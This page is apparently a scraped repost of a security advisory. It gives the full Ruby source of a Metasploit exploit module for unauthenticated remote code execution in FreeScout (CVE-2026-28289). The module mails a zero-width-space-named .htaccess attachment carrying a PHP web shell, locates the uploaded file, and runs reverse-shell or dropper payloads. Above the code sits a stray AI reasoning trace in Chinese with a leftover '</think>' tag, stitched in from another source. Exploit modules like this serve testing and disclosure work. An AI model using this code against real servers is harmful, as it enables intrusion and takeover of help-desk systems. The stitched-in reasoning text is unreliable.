FreeScout Unauthenticated RCE via ZWSP .htaccess Bypass
嗯,用户让我帮忙总结一下这篇文章的内容,控制在100个字以内。首先,我需要仔细阅读文章,理解其主要内容和关键点。 文章标题是“FreeScout 未认证RCE通过ZWSP .htaccess绕过”,看起来是关于一个安全漏洞的。接着,文章内容主要是Metasploit模块的代码,描述了如何利用这个漏洞进行远程代码执行。 从代码中可以看出,攻击者通过发送一封包含恶意附件的邮件,利用FreeScout中的sanitizeUploadedFileName()函数的漏洞。这个函数在检查以点开头的文件名时,没有正确处理ZWSP字符(零宽空格),导致攻击者可以上传名为.ZWSP.htaccess的文件。 上传后,.htaccess文件会被处理为PHP脚本,从而实现远程代码执行。模块还支持多种目标类型,包括PHP、命令行和滴管攻击。 总结一下,这篇文章主要描述了一个针对FreeScout的安全漏洞,利用ZWSP字符绕过文件名检查机制,上传恶意.htaccess文件以实现远程代码执行,并提供了相应的Metasploit模块实现。 </think> 该文章描述了一个针对FreeScout软件的未认证远程代码执行(RCE)漏洞(CVE-2026-28289)。攻击者通过构造包含零宽空格(ZWSP)字符的文件名绕过.sanitizeUploadedFileName()函数的安全检查,并上传恶意.htaccess文件。该文件被解释为PHP脚本,在访问时触发代码执行。该漏洞影响FreeScout版本1.8.206及以下,并提供Metasploit模块用于验证和利用此漏洞。 2026-3-31 19:40:2 Author: cxsecurity.com(查看原文) 阅读量:3 收藏

FreeScout Unauthenticated RCE via ZWSP .htaccess Bypass

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Payload::Php include Msf::Exploit::CmdStager include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::SMTPDeliver prepend Msf::Exploit::Remote::AutoCheck ZWSP = "\u200B".encode('UTF-8').freeze HTACCESS_BODY = <<~HTACCESS.freeze <Files ".htaccess"> Require all granted SetHandler application/x-httpd-php </Files> HTACCESS def initialize(info = {}) super( update_info( info, 'Name' => 'FreeScout Unauthenticated RCE via ZWSP .htaccess Bypass', 'Description' => %q{ This module exploits an unauthenticated remote code execution vulnerability in FreeScout <= 1.8.206 (CVE-2026-28289). The sanitizeUploadedFileName() function checks for dot-prefixed filenames before stripping Unicode format characters (ZWSP U+200B), allowing .htaccess upload via email attachment. A crafted email is sent via SMTP to a FreeScout mailbox. When fetched by the IMAP/POP3 cron (typically every 60s), the ZWSP is stripped and the attachment is stored as .htaccess. The file uses SetHandler to make itself executable as PHP, achieving code execution when requested via HTTP. Requires a valid mailbox email address and web-accessible attachment storage (storage:link pointing to storage/app/). }, 'Author' => [ 'offensiveee', # CVE-2026-27636 discovery 'Nir Zadok (nirzadokox) <OX Security>', # CVE-2026-28289 discovery 'Moses Bhardwaj (MosesOX) <OX Security>', # CVE-2026-28289 discovery 'Valentin Lobstein <chocapikk[at]leakix.net>' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2026-28289'], ['CVE', '2026-27636'], ['GHSA', '5gpc-65p8-ffwp', 'freescout-help-desk/freescout'], ['GHSA', 'mw88-x7j3-74vc', 'freescout-help-desk/freescout'], ['URL', 'https://www.ox.security/blog/freescout-rce-cve-2026-28289/'], ['URL', 'https://www.ox.security/blog/freescout-rce-cve-2026-27636/'] ], 'Targets' => [ [ 'PHP In-Memory', { 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Type' => :php # tested with php/meterpreter/reverse_tcp } ], [ 'Unix/Linux Command Shell', { 'Platform' => %w[unix linux], 'Arch' => ARCH_CMD, 'Type' => :cmd # tested with cmd/unix/reverse_bash } ], [ 'Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :dropper # tested with linux/x64/meterpreter/reverse_tcp } ], [ 'Windows Command Shell', { 'Platform' => 'win', 'Arch' => ARCH_CMD, 'Type' => :cmd # tested with cmd/windows/reverse_powershell } ], [ 'Windows Dropper', { 'Platform' => 'win', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :dropper # tested with windows/x64/meterpreter/reverse_tcp } ] ], 'DefaultTarget' => 0, 'Privileged' => false, 'DisclosureDate' => '2026-03-01', 'Notes' => { 'AKA' => ['Mail2Shell'], 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options([ OptString.new('TARGETURI', [true, 'Base path to FreeScout', '/']), OptAddress.new('HTTPHOST', [true, 'FreeScout web server address']), OptPort.new('HTTPPORT', [true, 'FreeScout web server port', 80]) ]) # Override SMTPDeliver's SUBJECT with a default (random if blank) deregister_options('SUBJECT') register_advanced_options([ OptString.new('SUBJECT', [false, 'Email subject (random if blank)', '']), OptInt.new('FETCH_WAIT', [true, 'Seconds to wait for cron fetch cycle', 60]), OptInt.new('DIR_COUNTER', [true, 'Max attachment counter per directory', 3]) ]) end def check res = http_send('uri' => normalize_uri(target_uri.path, 'login')) return CheckCode::Unknown('Could not connect to the target.') unless res return CheckCode::Safe('Target does not appear to be FreeScout.') unless res.body.to_s.match?(/[Ff]ree[Ss]cout/) CheckCode::Detected('FreeScout detected. Version cannot be determined remotely.') end def exploit marker = Rex::Text.rand_text_alphanumeric(16) @param = Rex::Text.rand_text_alpha(4) @cleanup_param = Rex::Text.rand_text_alpha(4) print_status("Sending exploit email to #{datastore['MAILTO']} via #{rhost}:#{rport}") send_message(build_email(marker)) print_good('Exploit email sent') wait_for_cron @shell_uri = find_shell(marker) fail_with(Failure::NotFound, 'Shell not found after two cron cycles.') unless @shell_uri print_good("Shell at #{@shell_uri}") case target['Type'] when :php then http_send('method' => 'POST', 'uri' => @shell_uri, 'timeout' => 1) when :cmd then execute_command(payload.encoded) when :dropper then execute_cmdstager(background: true) end end def cleanup super return unless @shell_uri http_send( 'method' => 'POST', 'uri' => @shell_uri, 'vars_post' => { @cleanup_param => '1' }, 'timeout' => 5 ) end # The marker is embedded in the .htaccess so we can identify ours among # pre-existing ones from prior exploits and avoid triggering the wrong shell. def build_email(marker) gate = "if($_SERVER['REQUEST_METHOD']!=='POST'){die();}if(isset($_POST['#{@cleanup_param}'])){@unlink(__FILE__);die();}" if target['Type'] == :php exec = payload.encoded else vars = Rex::RandomIdentifier::Generator.new(language: :php) preamble = php_preamble(vars_generator: vars).gsub(/\s*\n\s*/, '') decode = "#{vars[:cmd_varname]}=base64_decode($_POST[\"#{@param}\"]);" sysblock = php_system_block(vars_generator: vars).gsub(/\s*\n\s*/, '') exec = preamble + decode + sysblock end php_code = gate + exec mime = Rex::MIME::Message.new mime.mime_defaults mime.header.set('Subject', datastore['SUBJECT'].present? ? datastore['SUBJECT'] : Rex::Text.rand_text_alpha(8..16)) mime.header.set('From', datastore['MAILFROM']) mime.header.set('To', datastore['MAILTO']) mime.header.set('Message-ID', "<#{Rex::Text.rand_text_alphanumeric(24)}@#{Rex::Text.rand_text_alpha(8)}>") mime.add_part(Rex::Text.rand_text_alpha(20..60), 'text/plain; charset=us-ascii', 'quoted-printable') raw = "#{HTACCESS_BODY}# #{marker} <?php #{php_code} ?>\n" mime.add_part([raw].pack('m'), 'application/octet-stream', 'base64', "attachment; filename=\"#{ZWSP}.htaccess\"") mime.to_s end def wait_for_cron fetch = datastore['FETCH_WAIT'] wait = fetch + 10 res = http_send('uri' => normalize_uri(target_uri.path)) if res&.headers&.[]('Date') elapsed = Time.parse(res.headers['Date']).to_i % fetch wait = (fetch - elapsed) + 10 end print_status("Waiting #{wait}s for next cron fetch cycle...") Rex.sleep(wait) end def find_shell(marker) uri = scan_paths(marker) return uri if uri retry_wait = datastore['FETCH_WAIT'] + 5 print_status("Not found yet, waiting one more cron cycle (#{retry_wait}s)...") Rex.sleep(retry_wait) scan_paths(marker) end # FreeScout stores attachments in /storage/attachment/<d1>/<d2>/<counter>/ where # d1 and d2 are single digits (0-9) extracted from the MD5 hash of the attachment ID. # We walk the tree using redirect responses to detect existing directories, then # check each .htaccess for our marker to find the one we uploaded. def scan_paths(marker) base = normalize_uri(target_uri.path, 'storage', 'attachment') digits = ('0'..'9') dirs = digits.select { |d| dir_exists?(base, d) } pairs = dirs.flat_map { |d1| digits.select { |d2| dir_exists?("#{base}/#{d1}", d2) }.map { |d2| [d1, d2] } } paths = pairs.flat_map { |d1, d2| (1..datastore['DIR_COUNTER']).map { |c| normalize_uri(base, d1, d2, c.to_s, '.htaccess') } } paths.each do |uri| res = http_send('uri' => uri) return uri if res&.code == 200 && res.body.to_s.include?(marker) end nil end def dir_exists?(parent, child) res = http_send('uri' => "#{parent}/#{child}") res&.redirect? end def execute_command(cmd, _opts = {}) http_send( 'method' => 'POST', 'uri' => @shell_uri, 'vars_post' => { @param => Rex::Text.encode_base64(cmd) }, 'timeout' => 1 ) end # Swap RHOST/RPORT to HTTPHOST/HTTPPORT then call HttpClient's connect via # bind_call to bypass SMTPDeliver's connect override in the MRO. # This preserves full HttpClient features (SSL, proxies, basic auth, vhost). # SSL is inherited from HttpClient's datastore option. def http_send(params = {}) saved = [datastore['RHOST'], datastore['RPORT']] datastore['RHOST'] = datastore['HTTPHOST'] datastore['RPORT'] = datastore['HTTPPORT'] timeout = params.delete('timeout') || -1 cli = Msf::Exploit::Remote::HttpClient.instance_method(:connect).bind_call(self, params) res = cli.send_recv(cli.request_cgi(params), timeout) cli.close res rescue ::Rex::ConnectionError, ::Errno::ECONNREFUSED nil ensure datastore['RHOST'], datastore['RPORT'] = saved end end



 

Thanks for you comment!
Your message is in quarantine 48 hours.

{{ x.nick }}

|

Date:

{{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1


{{ x.comment }}


文章来源: https://cxsecurity.com/issue/WLB-2026030038
如有侵权请联系:admin#unsafe.sh